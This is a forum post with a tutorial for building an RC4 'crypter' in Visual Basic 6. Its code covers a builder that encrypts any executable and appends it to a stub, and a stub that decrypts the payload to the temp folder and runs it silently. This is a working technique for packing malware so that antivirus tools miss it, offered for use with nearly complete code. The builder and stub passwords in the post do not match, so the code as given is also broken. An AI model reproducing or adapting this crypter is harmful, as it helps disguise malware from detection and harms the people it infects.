Results 1 to 1 of 1
  1. #1
    Grooguz
    Grooguz is offline
    BanHammer Holder
    Grooguz's Avatar
    Join Date
    2010 May
    Posts
    678
    Thanks Thanks Given 
    152
    Thanks Thanks Received 
    537
    Thanked in
    167 Posts
    Rep Power
    14

    HowTo make a RC4 crypter in VB6

    In cryptography, RC4 (also known as ARCFOUR or ARC4 meaning Alleged RC4, see below) is the most widely used stream cipher and is used in protocols such as Secure Sockets Layer (SSL) (to protect Internet traffic) and WEP (to secure wireless networks).

    Stub:
    A method stub or simply stub in software development is a piece of code used to stand in for some other programming functionality. A stub may simulate the behavior of existing code (such as a procedure on a remote machine) or be a temporary substitute for yet-to-be-developed code. Stubs are therefore most useful in porting, distributed computing as well as general software development and testing.

    Builder:
    A builder is usually the client to make/do something to a file, and it is supposed to go with a stub. The builder usually allows the stub to simulate the behaivor of existing code, and than it makes the file/does something to a file.

    What you will need:
    • Visual Basic 6 or Visual Basic 6 Portable
    • A RC4 module
    • A brain


    2. Building your crypter.

    Now, open up Visual Basic 6 or Visual Basic Portable. To make the task easier, open two Visual Basic 6 programs. One is going to be the builder, and one is going to be the stub.

    Now, lets start on the builder. Add a RC4 module, and lets go on. First of all, add one label that says "File Path:", a text box right beside "File Path:", a button that says "Browse" or "...", and another button that says "Crypt" or "Build". Now, lets add the CommonDialog control. Add a CommonDialog and name it commondlg. Now, lets double click the button that says "Browse" or "...". Add this code, and I'll explain it.

    Code:
       With commondlg 'CommonDialog1.
         .Filter = "Executable files | *.exe" 'The file used for crypting. (*.exe)
         .DialogTitle = "Please select a executable file..." 'The title of the dialog.
         .ShowOpen 'Show the dialog.
         End With
         TextBox1.Text = commondlg.FileName 'Make TextBox1.Text as the selected filename.
    The With commondlg command calls CommonDialog1.
    The .Filter part allows you to choose what files you only want to be selected.
    The .DialogTitle command is the title of the dialog (the prompt that tells you which file you want to select for crypting).
    The .ShowOpen command shows the dialog.
    End With will end CommonDialog1.
    And finally, the TextBox1.Text = commondlg.FileName command makes TextBox1.text show the selected filename.

    Now, click the button that says "Build" or "Crypt". Add this code. It explains it, so please take time to read what it says.
    Code:
    Dim sStub As String, sFile As String 'This command will declare the two strings.
    Open App.Path & "\stub.exe" For Binary As #1 'Opens up the stub.
    sStub = Space(LOF(1)) 'This declares the space.
    Get #1, , sStub 'This puts in a space in the file.
    Close #1 'This closes the file.
    
    Open TextBox1.Text For Binary As #1 'Opens up the stub.
    sFile = Space(LOF(1)) 'This declares the space.
    Get #1, , sFile 'This puts a space in the file.
    Close #1 'This closes the file.
    
    Open App.Path & "\output.exe" For Binary As #1 'This creates the crypted file as "output.exe".
    Put #1, , sStub & FileSplit & RC4(sFile, Pass) 'This adds the option FileSplit and the RC4 option.
    Close #1 'This closes the file.
    
    MsgBox ("File crypted successfully!") 'This is the prompt to show the message that the program successfully crypted the file.
    Now, you might have an error that will show you that FileSplit and Pass is not declared. To do so, we will add the declarations on the top of the coding.
    Code:
    Const FileSplit = "<@#@>" 'The file split.
    Const Pass = "gaurab33tut" 'The RC4 password.
    For this tutorial, we will be using "gaurab33tut" as the RC4 password.

    Now, lets start on the stub. Add the RC4 module, and make a new module called modMain. Add this code in modMain:
    Code:
    Const FileSplit = "<@#@>" 'The file split.
    Const Pass = "s0rasRC4Tutorial" 'The RC4 password; It must be the same as the one on the builder!
    
    Public Declare Function ShellExecute Lib "Shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpszOp As String, ByVal lpszFile As String, ByVal lpszParams As String, ByVal LpszDir As String, ByVal FsShowCmd As Long) As Long 'Calls the ShellExecute command.
    
    Public Sub Main() 'The main part of the stub.
    Dim sStub As String, sFile As String 'This will declare the strings again, just like we did on the builder.
    Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1 'Opens up the selected .exe file.
    sStub = Space(LOF(1)) 'This will declare the space.
    Get #1, , sStub 'This puts a space in the file.
    Close #1 'This closes the file.
    
    sFile = Split(sStub, FileSplit)(1) 'This will split the file and the stub.
    Open Environ("tmp") & "\decrypted.exe" For Binary As #1 'This will make a decrypted file in the RC4 folder.
    Put #1, , RC4(sFile, Pass) 'This will add the RC4 password to the file with the selected RC4 password.
    
    Call ShellExecute(0, vbNullString, Environ("tmp") & "\decrypted.exe", vbNullString, vbNullString, 1) 'Calls the ShellExecute command and drops the decrypted file in the temporary files folder.
    
    End Sub 'This ends "Public Sub Main()".
    The code will be teaching you. Once you're done, remove the Form1.

    3. Conclusion
    RC4 module: RC4 Encryption in VB
    Code:
    Public Function RC4(ByVal Expression As String, ByVal Password As String) As String
    On Error Resume Next
    Dim RB(0 To 255) As Integer, X As Long, Y As Long, Z As Long, Key() As Byte, ByteArray() As Byte, Temp As Byte
    If Len(Password) = 0 Then
        Exit Function
    End If
    If Len(Expression) = 0 Then
        Exit Function
    End If
    If Len(Password) > 256 Then
        Key() = StrConv(Left$(Password, 256), vbFromUnicode)
    Else
        Key() = StrConv(Password, vbFromUnicode)
    End If
    For X = 0 To 255
        RB(X) = X
    Next X
    X = 0
    Y = 0
    Z = 0
    For X = 0 To 255
        Y = (Y + RB(X) + Key(X Mod Len(Password))) Mod 256
        Temp = RB(X)
        RB(X) = RB(Y)
        RB(Y) = Temp
    Next X
    X = 0
    Y = 0
    Z = 0
    ByteArray() = StrConv(Expression, vbFromUnicode)
    For X = 0 To Len(Expression)
        Y = (Y + 1) Mod 256
        Z = (Z + RB(Y)) Mod 256
        Temp = RB(Y)
        RB(Y) = RB(Z)
        RB(Z) = Temp
        ByteArray(X) = ByteArray(X) Xor (RB((RB(Y) + RB(Z)) Mod 256))
    Next X
    RC4 = StrConv(ByteArray, vbUnicode)
    End Function
    Author: Sora

Similar Threads

  1. [C++] How to make a simple bot
    By Dwar in forum Programming Tutorials
    Replies: 3
    Last Post: 2014-10-04, 12:53 PM
  2. [Tutorial] How to make the standard D3D wallhack
    By a4123278 in forum D3D Programming
    Replies: 5
    Last Post: 2012-08-08, 06:50 PM
  3. Make a Bot for Knight Online
    By ferchoman in forum General Game Research
    Replies: 2
    Last Post: 2011-07-14, 04:17 AM
  4. [Guide] Rift Extensive Crafting - HowTo Craft and where
    By Grooguz in forum Rift Guides, Tutorials
    Replies: 0
    Last Post: 2011-04-06, 08:27 AM
  5. Make a simply trainer with CE
    By Dwar in forum Game Researching Tutorials
    Replies: 0
    Last Post: 2010-11-29, 04:05 PM

Tags for this Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •